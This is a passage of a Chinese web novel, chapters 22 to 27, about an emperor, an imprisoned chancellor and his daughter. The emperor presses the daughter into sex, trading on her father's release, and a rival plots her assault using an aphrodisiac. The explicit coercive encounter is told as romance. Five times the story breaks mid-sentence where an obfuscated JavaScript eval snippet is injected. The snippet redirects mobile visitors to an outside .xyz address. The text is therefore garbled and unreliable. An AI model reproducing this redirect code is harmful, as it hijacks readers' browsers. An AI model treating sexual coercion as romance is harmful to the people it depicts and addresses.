成先生准时在宫中用上了晚膳,在岳常安百思不得其解,想要从二人的对话听出点什么有用的信息的时候,皇帝竟说不用他伺候,将人赶出了出去,只留下成先生一同用膳。 所以他二人究竟说了何事,岳常安一无所知。更气人的是,他原本想找严从晖探探口风,这人却像被针缝了嘴巴,半个字都不肯透漏。 所幸没多久,皇帝就从屋里出来,岳常安迎了上去。 “常安,送一下成先生。” 岳常安听命去送成先生。 元栩又看向严从晖,“拿上成先生的药,朕今晚要去一趟相府。” 严从晖一动不动,面上有迟疑之色。 “要朕再说一遍?”皇帝声音明显冷了下来。 严从晖试图劝下元栩,“皇上,沈姑娘这病已不是一天两天的事了,不妨再等等,过了这阵子……” “不必等了,朕现在就要去沈府。”他长腿迈开,气势汹汹,已然是下了非去不可的决心。 严从晖犹豫了一瞬,还是坚持上前阻拦。 他看不得皇帝一错再错,几个箭步上前,整个人挡在皇帝面前,“皇上请留步,容臣再说一句,您此番贸然前去,怕是之前所有的努力都要付诸东流。” 元栩手上的拳头握紧又松开,严从晖说的他都知道,他都明白。但这次她没有出事,难不成回回都能有这般好运? 他赌不起。 这回他的声音凌厉起来,“不必再说了,带上连嬷嬷和锦云,切勿声张。” 严从晖仍不肯放弃,跟在他身后,提醒道,“皇上有没有想过,沈相若是知道了,怕是要……” 要死人的,他没敢说出口来。 元栩面色一沉,“朕是皇帝,还能怕了他不成?” 严从晖见他如此决绝,想必是对沈相没有了忌惮,心里正要高兴,就见皇帝忽地停住了脚步,转过头来吩咐道,“派人去牢里,把沈相的牢房重新布置一下,再添置些物品。” 严从晖一愣,像是没听懂他的话,半天才反应过来。 就这? 半个时辰后,严从晖带着几个下属,大包小包地出现在沈墨牢房门口。他正迟疑着该如何开口时,里头沈墨已经闻声望了出来,鹰隼般的眼神在几个人中逡巡了一遍之后,冷冷地回过头去。 见对方丝毫没有给自己面子,严从晖纠结了一阵子后,最终硬着头皮开口,“还不赶紧开门,皇上体恤沈相,特派本将前来送物资。” 牢头手脚利索地将牢门打开,严从晖一伙人进入牢房中放东西,细心地将原先的被子换成新的,铺得整整齐齐,又将牢房打扫了一番才离开。 等其他人退下后,严从晖已将食盒中的饭菜一一摆出,恭恭敬敬地向沈墨递出筷子,“沈相请慢用。” 沈墨看了一眼,却不伸手去接,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404483|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无事献殷勤,无非是断头饭吧!你去,去把那狼崽子叫过来,当面跟本相说清楚!” 严从晖立马陪笑道,“哪里的话!沈相误会了,皇上是体恤您在狱中条件艰辛,才派我来送东西,这是……在关心您来着。” 沈墨“哼”了一声从他手中接过筷子,嘲讽道,“不是断头饭,还能是喜事不成?”他自顾自地夹菜吃了起来,半晌之后,他似乎是想到了什么,忽地停下筷子,抬起头问道,“莫非今日是那狼崽子大婚的日子?” 严从晖怔愣了一瞬,目瞪口呆地望着沈墨,半天才回过神来,答道,“还……不是。”可能觉得心虚,他又低声补充道,“也快了。” 沈墨心里清楚,皇帝到了这年岁,再不立后,也说不过去,看来如今是有人选了,他漫不经心地打听,“是哪家的姑娘?”问完便拿起酒杯一饮而尽。 见他放下杯子,严从晖立马讨好地帮他斟满酒水,就听他接着方才的话继续说道,“这么倒霉。” 酒瓶子还在严从晖手里,他握紧了瓶身,艰地咽了一口唾沫,深深地把“没准是你家”几个字咽进肚子里去。 他尬笑了两声,“沈相说笑了,能坐上后位,家族自然是无上荣耀。只是到如今皇上还没公布皇后人选,我也不敢妄议。” 他放下酒瓶子,试图为皇帝挽尊,“皇上近日来力排众议,殚精竭虑替您洗脱罪名,就为了您能早日出狱。” 话听起来干巴巴的,沈墨闻言也只是冷笑了一声,并没有接话。 严从晖如坐针毡,干坐了一会儿,马上决定离开,于是向沈墨告别,“沈相慢用,我还有事要忙,就不打扰了。” 说完就快步走出牢房,出了这里,悬着的心才算能安心落地。 严从晖是武将,向来承认自己脑子不好使,特别是在他们这些文官面前,说起来话来连嘴皮子都不利索了。这些文官嘴,有时候比他手中的刀还要可怕,杀人都不见血。况且他眼前的人,更是强中之强。老话说得好,识时务者为俊杰,他还是赶紧走的好,免得走晚了说错话引火烧身。 * 夜色降临,各家各户已开始掌灯。 一辆普通的马车停在聚客楼大门前,车上下来的两位女子皆蒙着面纱,匆匆上了楼上雅间。 片刻之后,房门紧闭,门口守着下人。 屋中女子摘下面纱,正是国公府的袁妙莹。 这些日子袁妙莹可是费了大力气,她主动放下身段跟架子向沈若嫣那个蠢货示好,又苦心积虑、循循善诱,一步一步地引她入套,最后筹划了一出里应外合的“好戏”。 袁妙莹心里嫌恶马瑜春,说起来自然也毫不客气,“马瑜春,事情给你安排好了,今晚人就是你的了,千万别搞砸了。” 马瑜春一想到美人即将入腹,也顾不得袁妙莹口气不好,腆着脸奉承道,“袁大小姐不仅貌美如花,办事的手段也是数一数二,日后这皇后之位肯定非你莫属。” 23. 第 23 章 袁妙莹虽看不起马瑜春,但后边这句话正说到她的心坎里上,不由得笑了出来。 她跟沈若辞到底还是有区别的,日后她便是高高在上的皇后,而沈若辞只能是个人尽可夫的小妾,这臭水沟里的淤泥,怎么能跟天上的明月相提并论呢? 一想到这里,她顿时来了兴致,“马公子真是好福气啊,沈若辞那身子,天生是伺候男人的。” 狐狸精似的,没有点大家闺秀的含蓄。 马瑜春也是玩惯了女人,一下就听出她话中的意思,那女子不论容貌身段,样样皆是上等,今晚可有得玩了。 想到这里,他迫不及待地咽了咽口水,“马某定会怜香惜玉,不辜负袁大小姐的美意。” 那笑容猥琐至极,若是往日,袁妙莹看一眼都怕脏了自己的眼睛。 奈不住今日她心情好,便也没有表现出反感,甚至还配合地说笑了几句。 可到底不是一路人,事情交代妥善后,袁妙莹也不愿与他长待下去。她淡淡地扫了他一眼,还是觉得他脸上的笑容油腻得很,又再三强调了接应的要点,就带着丫鬟离开了客栈。 马瑜春也没有浪费那一桌子的好酒好菜,一个人慢品细酌,手上还时不时地把玩桌上的瓷瓶。他今晚连狠货都备好了,酒足饭饱之后再服下,玩弄起女人来更加得趣。 他哼着小曲儿,心情大好。有了这秘药傍身,怕是不死在那女子身上都难啊。 秋风微凉,夜色浓浓。 此时岳常安坐在马车里,心里一阵难受。 皇帝自己去了沈府,却要他一个人带着皇家侍卫守在国公府门口。 明明他伺候人才是最周全的,为什么要他来做这等莫名其妙的差事。 想来心头就一阵气闷。 他叹了口气,也不知道这袁大小姐何时出来,他这么干等着也不是办法啊。 可他又有什么法子呢? 岳常安无聊得开始数天上的星星。 元栩那头已带着人,悄悄进了相府。 素色的莲花纹帐幔里,有少女浅浅的香甜的气息。沈若辞睡得浑浑沌沌的,被人拦着腰,从床上捞了起来。 “阿茉别闹,再让我睡一会。”她眼皮还很重,周身软软的,手脚无力得很。 强壮的手臂还是搂着她的腰,沈若辞抬起一只手去反抗,摸到了一道硬邦邦的铁墙,是陌生的触感。 可能因在睡梦中,她眉眼间透着一股慵懒的妩媚,神色很是娇憨。整个人被迫坐直了身子,一头乌发垂散在身后,愈发衬得冰肌玉肤,人间绝色。 “呜……”沈若辞不满地掀开沉沉的眼皮,眼前的人竟是俊美男子。 她睫毛轻颤,恍惚地闭了一下眼。再次睁开眼睛去细瞧眼前的男人,竟是那荒唐不羁的皇帝。 这人就算到了梦中,也这么可恶,非要扰人清梦! 沈若辞顿时有些气鼓鼓的,嘟着小嘴瞪着他。 这男人剑眉星目,倒是有些好看。两片薄薄的嘴唇轻轻地抿着,线条流畅优美,一看就是出自名家大师手笔。 她微微抬起手,试探着伸向他的唇,宽松的袖口从手腕滑了下去,露出半截光裸的手臂。 元栩呼吸骤然一紧,环在她腰上地手臂无意识地收紧。 沈若辞愣了一下,在皇帝热切的目光中收回了手。就算在梦中,她还是有点怕他。 怀中的女子此时安静了下来,正低着头,像在沉思。元栩目光下移,见她着一件轻薄的绢衣,杏色的小衣裹着两抹饱满的圆弧,若隐若现。 他看在眼里,眉头一皱,竟觉得有些口干舌燥,哑声道,“亲亲朕。” 沈若辞听到他的声音,好奇地仰起脸,没想到这人来到她的梦中还能说话,着实有趣。 她抿嘴一笑,正想看看他还能做什么,就发现她的腰被紧紧地圈住,贴在后腰上的那只手臂热得惊人,滚烫地贴着她的肌肤。 “快、点、亲……”他有些烦躁地催促。 沈若辞本来还迷迷糊糊,这下子开始清醒了。 她心头颤得厉害,明显被吓得不轻。左手搭着皇帝的手臂,才勉强止住下坠的身子。 这人疯了不成! 深更半夜跑她床上来了,做皇帝行事就可以这般荒腔走板? 沈若辞咬紧了下唇,才没叫出声来,眼皮无力地耸拉着,祈祷着再次睁开眼睛,这人能从她的眼前消失。 就在她不认命地挣扎时,门口传来阿茉的哭腔,“你们到底是什么人,放我进去,我要进去找小姐,放……” 门板被拍得咣当作响,沈若辞腾地一下睁开了眼睛,这回她清醒地确认了。 不是梦。 皇帝将人抱坐在腿上,这姿势亲密到近乎羞耻。 沈若辞深吸了一口气,抬起眼眸心惊胆地叫出了声,“皇、皇上……” 元栩似乎没有被外边的声响影响到,兀自将她脸颊上的碎发拨到耳后,“吵到了?” 她摇摇头,按住那只横在腰间的手臂,朝门外的方向说道,“皇上,阿茉吓到了,我想出去看看她。” 温香软玉在怀,元栩自然不舍得放开她,面无表情地喊了一声,“连嬷嬷,让人进来。” 砰的一声门被打开,透过帐幔的轻纱,模模糊糊能看到阿茉跌跌撞撞地去朝床边跑过来。 只是人还没走到床边,就被旁人拽住了。 “阿茉……” 这丫头肯定被吓坏了,沈若辞用恳求的眼神望着皇帝,希望他能放自己过去。 元栩不为所动,只淡淡地问了声“何事?” 一旁的连嬷嬷抓着阿茉,听到主子问话,不疾不徐地回道,“回皇上,阿茉姑娘吵着要进来见沈姑娘。” 阿茉性子直率单纯,沈若辞生怕她不知情的情况下口不择言,赶在她开口前提醒道,“阿茉,是皇上来了,不用怕……” 皇上? 阿茉脑子乱哄哄的,突然止住了哭闹。床榻上男子身形高大,拥着她家小姐,二人身子贴着身子,看起来亲密极了。 就算是呼风唤雨的天子,这样子深更半夜闯入女子闺房,也是于理不合。阿茉胸口生出一股愤懑,当场跪拜在地,“求皇上放过我家小姐,她身体不好,经不起折腾,求皇上……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404484|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白皙的小脚搁在他深紫色的锦衣下摆上,小巧又精致。元栩压根儿没心思去听那丫鬟说了什么,空着的手往被褥上摸去,一把握住沈若辞莹白的脚踝,惊得她浑身寒毛倒竖,厉声喝道,“阿茉快闭嘴!” 阿茉极少见自家小姐如此疾言厉色,整个人都懵了。 闺房中一时安静了下来。 沈若辞自觉失态,见皇帝恍若未闻,压下声音冲阿茉说道,“你快下去吧,我没事。” 元栩大掌一松,看向帐外,“退下吧,去安排煮药。” “是。”连嬷嬷一声应下,拉起呆若木鸡的阿茉,“阿茉姑娘,陪老身一同去煮药。” 屋中灯影晃动,房门再次被关上。 脚踝处温热的触感让她如坐针毡,一只手无措地抓紧了身下的被褥。 皇帝似乎对她的脚很感兴趣,好不容易放开了脚踝,又开始用手指丈量起她的脚长。量完了跟自己的脚对比以后,又难以置信地想摆好两只脚比较一下。 沈若辞再也看不下去了,慌忙捉住他的手臂,“皇上深夜前来可是有急事?” 元栩见她乖乖地歪着头,等着他的回答,只好收手作罢,摆正了身姿正色道,“沿沿,沈相一事已在收尾,大概中秋节前后就能出狱。” 沈若辞又惊又喜,惊疑不定地望向元栩。那日在马车上皇帝给过承诺,但她心里一直觉得不踏实。此时再听他给了确定的时间,顿时安心了一些。 皇帝一瞬不瞬地盯着她,眸色深沉,沈若辞虽不知是何意,但也知道哄好他要紧。 “皇上待臣女真好。”她柔柔地赞了一声。 听了她的回答,皇帝嘴角终于勾起一个弧度,握着后腰的大掌一个用力,迫使她仰着头与他对视,声音低沉暗哑,“那沿沿要怎么谢朕?” 浓烈的男子气息铺洒在脸上,沈若辞从他眼神中看到了危险,双手局促地抵着他的胸膛,“皇上要什么?” 元栩面容清隽,薄唇一点一点地贴近她的耳畔,呼出一口热气,烫得她耳廓发红。 “沈若辞,朕想要你。” 皇帝的话浅白直接,沈若辞一下子明白了他的意思。但到底是未经人事的少女,这一句话,足以让她耳廓的那点红,如星火燎原一般蔓延至整张俏脸,窘迫得不敢去与他对视。 皇帝想要折辱她,无非是想用她灭一灭沈家的傲气,可旁人不一定会这么想。经此一次,她的身份变得特殊起来,不得不烙上皇帝女人的印记。 今后去了宫里,奴婢不是奴婢,主子不成主子,怕是处境更加艰难。 封后的传闻已铺天盖地,若真是袁妙莹,她入宫以后的路恐怕会更难走。 单论此事,她心里一百个不愿意,但又不敢直接拒绝。此时苦着一张小脸,委婉地提醒那人,“可是,皇上不日就要立后了……” 皇帝一眼看透她的小表情,语气微冷,“这么说,沿沿不愿意?” “不是的!”她拉着皇帝的袖口,生怕他下一句就要拿沈相威胁她,“沿沿愿意的。” 得到满意的答案,元栩垂下眼眸,目光落在她雪白的绢衣上,“取悦朕。” 24. 第 24 章 话刚出口,他才发现自己的声音是沙哑的。 沈若辞微怔,怀疑自己听错了。踌躇了片刻,指尖轻颤,低头解去腰间的系带。 领口散开,绢衣滑至臂弯,露出圆润可爱的肩。 “这样……够、够了吗?”沈若辞不确定地望向元栩,紧张得说出话来都有些口吃。 “你说呢?”他恶意地按了一下她的后腰,像在看好戏一般,欣赏着她的窘迫。 沈若辞松开双手,绢衣掉落在被褥上,柔顺的长发遮住了整个后背。 在皇帝意味不明的目光下,她闭着眼褪下中裤,白皙光洁的长腿微微曲着。 浑身上下只留下贴身的小衣和亵裤,裹着女子最柔软的部位。 这已经是她的极限,可皇帝依然坐得笔直,看不出任何情绪。 “皇上……” 他的声音沙哑得不像自己的,“叫哥哥。” 沈若辞惴惴不安地喊了一声“哥哥”,小脸憋得通红,连呼吸也开始不舒畅,水润的杏眸怯生生地望着元栩。 她羞耻得快哭了。 嗯。真甜。 元栩终于有了回应,掐着她的腰,吻了吻她的唇。 沈若辞隐约听到了一声“别怕”,唇舌就被强势地攻入…… 房中烛光暖黄,映出少女芙蓉俏面,含羞带怯。 唇舌纠缠许久才得以解脱,沈若辞缓出一口气,后颈上的丝带毫无征兆地挑开,小衣悬在腰间,将落未落。 未及惊叫出声,胸口一阵温热袭来,更是惊得她脑中一片空白,身体绷成直线,只由着那人胡作非为。 直到某处被含住,激得她浑身一个冷颤,继而难耐地低吟出声。 这一声宛若乳燕初啼,软糯娇甜,媚得元栩骨头都酥麻起来。 他稍稍平复了气息,将人按在怀里。见怀中女子双目水光迷离,面若桃花,瞬间呼吸又起伏不定,“忍耐一下,若是疼了就打朕。” 她听得心头一跳,无奈这事已是箭在弦上,她只好靠着那人的肩膀,泪眼朦胧又不敢拒绝。 阿茉候在屋外,听不到里边的动静,坐立难安。 房中的蜡烛燃了半截,偶尔有女子娇娇的低吟。 帐幔中,元栩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409400|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依然衣衫完整,端坐于床榻之上,不去细看根本不能发现端倪。 身上唯一的衣物不知何时被褪去,他托着她的身子,坐到了他身前。 雪色的肌肤透着淡淡的粉,映着深紫色的华服,形成了强烈的视觉冲击。沈若辞泫然欲泣,她以前看过医书,男子的身体她略有了解,明明不是这般尺寸,明明不像眼前这般狰狞可怖…… 她瞬间泪眼汪汪,悬在他身侧的纤腿发颤,像受了惊的兔子。皇帝只能哄着她,再次覆上她的唇。 元栩极富耐心,将她的身子吻得软绵绵的,才缓缓挺腰抵了上去…… 屋中开始传出声响,尽是女子又娇又媚的哭声,娇滴滴的,可怜极了,一听便是被折腾狠了的样子,听得人心痒难耐。 阿茉整颗心立马提了起来,当场又想扑上去推门。一旁的连嬷嬷气定神闲地按住她的手,叹了口气。 小姑娘一早就让她别来的,跟着锦云一起熬药多好,偏偏来蹲门口吹风。 相府这千金她见过一面,比花还娇嫩,模样又乖又媚。皇上是血气方刚的男子,把持不住也不足为奇。 25. 第 25 章 沈若辞喉间哽咽了一下,整个人怔愣了一瞬,眼泪还是忍不住滴落下来。 元栩一个头有两个大,她如今身子亏损得厉害,如何禁得起这般伤神。 他干脆不哄了,双手一抱环在胸前,嘴角扯出一个弧度,“沈若辞,你再哭,朕就要亲你了。” 这招果然见效,效果立竿见影,沈若辞立马止住了哭泣,水光潋滟的双眸看向那人的脸,无赖又得意。 她抿紧了唇,生怕自己控制不住要哭出来。 元栩见她慢慢恢复了平静,又再次拉过被子,往她身上盖好,“乖,好好睡一觉,朕不会动你的。” 他朝外边看了一眼,黑暗已渐渐消散,隐约能听见后山上的鸡鸣声。他起床穿好衣裳,见沈若辞仍抱着腿坐在帐中,又顺着床沿坐了下来,“连嬷嬷和锦云留下来伺候你,到时候跟沿沿一同回宫,有什么事尽管吩咐她们二人。” 他声音温和平静,沈若辞听完后却心底发寒,猛地抬起头看他,这是连相府都要安插人进来的意思? 皇帝穿戴完毕,若无其事地走到床边坐下,“朕看着你睡,你睡了朕就回宫。” 一听到他要回宫,沈若辞也顾不上去想他安插人进来的事,只拉起脚边的被子安安静静地躺下盖好。 上半夜她被皇帝折腾了半宿,再加上刚刚的梦魇伤了心神,本想着应付他一下,好让人早点离开,没想到沾了枕头,不一会儿就沉沉地睡去了。 元栩并没有信守承诺,他坐在了床边,粗粝的指尖描绘着她的眉,她的眼,最后停在了饱满的唇。睡梦中的人儿卸下了对他的防备,呼吸浅浅的,他在边上盯着,她都能这么入睡,看来真的累坏了。 视线下移,床榻上一抹鲜红。 元栩长指捻着锦被上那抹红,眼中有怜惜,但更多的是极致的满足,从生理到心理。她而今里里外外都是他的了,他在她身上留下了痕迹,是她唯一的男人,这些都让他几欲疯狂。 但眼下身体的欢愉散去,心里有个地方竟然是空落落的。 沈若辞一觉睡到了晌午。 阿茉守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416458|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在床边,一见她醒来,神色忐忑地问道,“小姐,您……没事吧?” 沈若辞缓缓地睁开眼睛,单手撑着床榻,准备坐起身来。哪知就这么轻轻一动,周身一阵酸痛,尤其是腿心,更是痛得厉害。 阿茉见她面色大变,眉头也皱成一团,就知道昨夜被皇帝折腾坏了,心疼得直掉眼泪,“小姐,您怎么了……” 沈若辞正想安慰一下阿茉,屋中响起连嬷嬷略带冷漠的声音,“凡是女子初次,都要挨过这么一遭,不必大惊小怪。” 话虽然是这么个理,但沈若辞跟皇帝并不熟,也非心甘情愿,这事于她来说是受罪。如果是跟心上人,那就要另当别论了,再疼也是甜蜜的,她肯定也不会面露苦色。 阿茉怔了一下,才明白过来这话说的是她们家小姐,不由得牙狠狠的,当场就想怼回去,却被沈若辞轻轻地按住了手。 连嬷嬷在宫中的声望很高。当年元栩生母被册立为后,她便是那时跟着连皇后一同入宫的。连皇后逝世之后,她又亲手抚养元栩长大。 26. 第 26 章 事后她眼里盛满了惊慌,如玉般清透的小脸涨得通红,泪痕满面,这一幕入了脑中,元栩心头又生出了烦闷。他眉头一皱,脸色也瞬间沉了下来。 岳常安见皇帝前一刻还喜上眉梢,这一秒就愁容满面,稍一细想,便猜出是因为沈若辞的缘故。 作为皇帝身边最体贴的人,他赶忙宽慰道,“皇上,沈姑娘心忧沈相,若有冒犯的地方,您也别放在心上……” 元栩似在回应他的话,又像在自言自语,“朕都答应她过阵子就将人放出来了。” 岳常安一看自己猜中了要点,又再接再厉道,“皇上,沈姑娘最在意沈相的事,您虽口头上允了她,但沈相一日没有出狱,她心中始终还是挂念的。” 元栩哪能不知,但他是天子,金口玉言,说一声便是了,哪有作假的道理,他冷冷地看了岳常安一眼,“难不成还要朕给她写个欠条?” 他顿了顿又说,“堂堂一国之君,岂能随意给人写欠条。” 岳常安立马噤声,心道莫非自己想错了,皇上根本就没那么在意沈姑娘? 他还疑惑着,就见皇上从案头取下一卷蚕丝绫锦,握着笔杆开始落笔。 岳常安几乎目瞪口呆,见皇帝下笔如行云流水,一气呵成,不一会儿便搁下毛笔,取过玉玺亲自盖了上去,神色十分严肃认真。 元栩目不斜视,“拿去,让严从晖将圣旨交给她。” 岳常安忙应下,恭恭敬敬地接过圣旨,暗地里偷偷咽了咽口水。他思索着,欠条不能随意写,难不成圣旨就可以? 话虽如此,他却不敢怠慢,三步做两步出了御书房,以最快的速度将圣旨交到严从晖手中。 * 午后,沈若辞用过午饭后,便打发了连嬷嬷跟锦云回去休息。 她自己身子也乏着呢,正打算上床去,阿茉就静悄悄地走了过来,拿眼指了指门口,低声道,“小姐,宫里又来人了。” 沈若辞朝门口望了一眼,带着疑惑走出屋里。 严从晖正站在长廊下,见沈若辞出来,容貌艳丽夺目,根本不像昨日还虚弱到晕倒的人。 他上前将圣旨递了过去,“沈姑娘,这是皇上交给您的。” 沈若辞一见他手中祥云瑞鹤图案的绫锦,当即撩起裙摆,便准备跪地接旨。 严从晖阻止道,“沈姑娘接着便是,不必跪。” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422174|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若辞将信将疑地将圣旨接了过来,刚想问问是什么情况,严从晖却先她一步开口,“严某多嘴一句,望沈姑娘能善待皇上。” 沈若辞握着圣旨的双手明显一顿,严从晖神情严肃,不像开玩笑的样子。她殷红的唇瓣动了动,却不知如何接话。半晌,她才笑了笑说道,“多谢严将军提点。” 严从晖走后,沈若辞回到屋里,将圣旨铺开,心里便默念起来。 还没念到一半,她心潮起伏,差点没忍住要站起来。 沈若辞压下情绪,仔仔细细地将内容看了两遍,确认自己没看错后,嘴角才缓缓地上扬。 皇帝口头上应承过她,但沈若辞心里始终没个底。他从小恣意妄为,随时可以不认账。而今圣旨就在眼前,她一颗心就算放了下来,毕竟皇帝没必要花心思来欺骗她。 沈相出狱的日子定在八月十五,时间是在她入宫之后,皇帝的意图可想而知。 二人刚出了小院门,就见沈忠眉开眼笑,身后跟着一群人,为首的正是她早上刚命人送走的马瑜春。 马瑜春明显换了一身新衣,容光焕发。 “昨夜马某与沈姑娘一夜春宵,今日特来求亲。” 27. 第 27 章 话说完,也不忘装模作样地拱手行了一礼。 这马瑜春看起来像是个有病的,还病得不轻。 沈若辞只看了一眼,心中起腻,冷冷地回道,“若是跟我求亲,大可不必。若是与其他人,请移步到别处。” 而今她院里有皇帝的人,她可不想因为这些不想干的人又起不必要的风波。 沈忠陪笑道,“这说的是什么话,来到这里,自然是与你求亲,马公子诚意满满,咱也不能怠慢人家啊。” 听了这席话,马瑜春满意地拍了拍沈忠的肩膀,给了他一个中肯的眼神,二人相视一笑。 马瑜春上前一步,“今日我聘礼都带过来了,沈小姐请收下吧。” 沈若辞淡淡地扫过他身后的两个箱子,语气平静,“不嫁,马公子请回吧。” 马瑜春知道沈若辞从前看不上他,但那已经是两年前的事了,而今他们马家可是今非昔比。 “家姐如今是宫中的娘娘,圣上的宠妃。沈小姐难道没想过,若是家姐能在皇上耳边吹吹枕边风,为沈相说几句好话,没准皇上一开心就将人放出来了!” 沈若辞原本走出了几步,闻言又回过头去,“这吹枕边风的大好机会还是留给马公子自己吧,为自己谋个前程,别整天无所事事。” 马瑜春被戳中了要害,瞬间恼羞成怒。见沈若辞不想理他,更是气不打一处来,直接上前抓住了她的手腕,“你昨夜都失身给本公子了,别当自己还是个冰清玉洁的大家闺秀。本公子此番纳你为贵妾,是抬举你,别敬酒不吃吃罚酒!” 此话一出,沈家众人皆掩嘴而笑,私下眼神交流个不停。 这话荒唐至极,但沈若辞此时已无暇顾及。她脑中只有一个念头,只知道被马瑜春握着手,一阵恶心自心底里泛起,气势汹汹,直冲喉头。 昨夜跟皇帝有更亲近的碰触,她心里虽反感,却完全没有此时的嫌恶。 马瑜春被沈若辞的人推开,心有怒气,但一想起昨夜他与沈若辞春宵一度,一双眼睛便开始不受控制,无礼地在她身上逡巡。 沈若辞强忍着不适,冷着一张绝美的面容,嘲讽道,“马公子怕不是得了失心疯吧!” 马瑜春盯着她的脸,肤若凝脂,艳若桃李,连火气也消了几分,“沈小姐可别不认,证据我是有的,为防你不认,我都带来了。” 他一个眼色下去,便有下人呈上东西,正是沈若辞早上扔掉的那床被褥。 马瑜春望着那床被子洋洋自得道,“沈小姐将贞洁给了我,本公子就该担起这个责任。” 昨夜他吃了药,跟她欲-仙-欲死,具体细节记得不大清楚,但那蚀骨销魂的感觉却不能错辩。 前来看热闹的人越来越多,大房二房的人几乎都到齐了,众人脸上都是一副看好戏的神态。沈若辞被无数双眼睛盯着,却没有人站出来为她说一句话。 马瑜春连二人欢好的证物都拿出来,照理说沈若辞该羞愤不安才对,可这时候她却意外的冷静,目光在沈家众人身上扫了一圈,就发现沈若嫣在她眼神触及时,心虚地别开脸。 她一早就猜到沈家有人跟马瑜春里应外合,只是没想到会是沈若嫣。 沈若辞也没有当场拆穿,她捋了捋鬓边的碎发,只想跟马瑜春撇清关系,“今日在这里我将话撩明了,我沈若辞的婚事自己做主,他人无权干涉。也劳请各位,别什么阿猫阿狗都往我们三房里带。” 而今她身边有皇帝的人,要是被误会了她有意嫁别人,怕是又要连累了父亲。 她干脆一不做二不休,当着众人的脸将话挑明了,省去不必要的误会。 马瑜春原本抱着志在必得的信心,却没想到沈若辞竟当众拒婚离开,他觉得被下了面子,当场就想发作。 哪知宋临抱着长剑,慢悠悠往门上一靠,再无一人敢接近半步。 日后要搞宋临,马瑜春能有千万种法子。但眼下明显不是他的对手,只好悻悻地带着人离开三房。一路上将沈若辞连带沈相都嘲讽了一番,就连沈忠,也没给他好脸色看,劈头盖脸地将人羞辱了一顿。最后自觉找回了点面子,才心满意足地离去。 沈忠没想到如今这种境况,沈若辞还端着千金小姐的架子,挑三拣四,竟还看不起马瑜春。 今时不同往日,眼下最重要的是找棵可以依靠的大树,他这个侄女怎么半点觉悟都没有呢! 沈忠吐出一口怨气,盘算着如何让沈若辞答应给马瑜春做小妾,他好攀上马家这棵大树。 * 沈墨昨天早上出去放风了一个时辰,慢悠悠地踱步回牢房时,简直怀疑自己老眼昏花,走错了地方。 牢房四壁都贴上上好的墙纸,墙角燃着无烟白炭,空气中还有淡淡的熏香,一闻便是上等的沉香。 沈墨稍作一想,便知道这是谁的手笔,但他简直不知道那狼崽子又在搞什么鬼,整这么一出是何用意。 时间已经过去一天了,沈墨至今还没有习惯过来。新做好的大床上有崭新的被褥,柔软的垫子,他没有睡上去,仍躺在干草堆上,盖着他小闺女送来的被子。 正值午后,犯人都在休息,牢狱里静悄悄的,稍有动静便异常清晰。 他一早便听到了脚步声,但一直闭目养神,也不做理会,直至来人越来越近,停下了脚步,他才缓缓地睁开双眼。 入眼是英俊的年轻的男子,居高临下地喊了一声“沈相”。态度高高在上,语气也不乏尊重。 虽有些意外,但也不至于吃惊。沈墨仍靠着墙壁,神色漠然,“罪臣年纪大了,又在牢里熬坏了腿脚,恕罪臣无法起身给皇上行礼。” 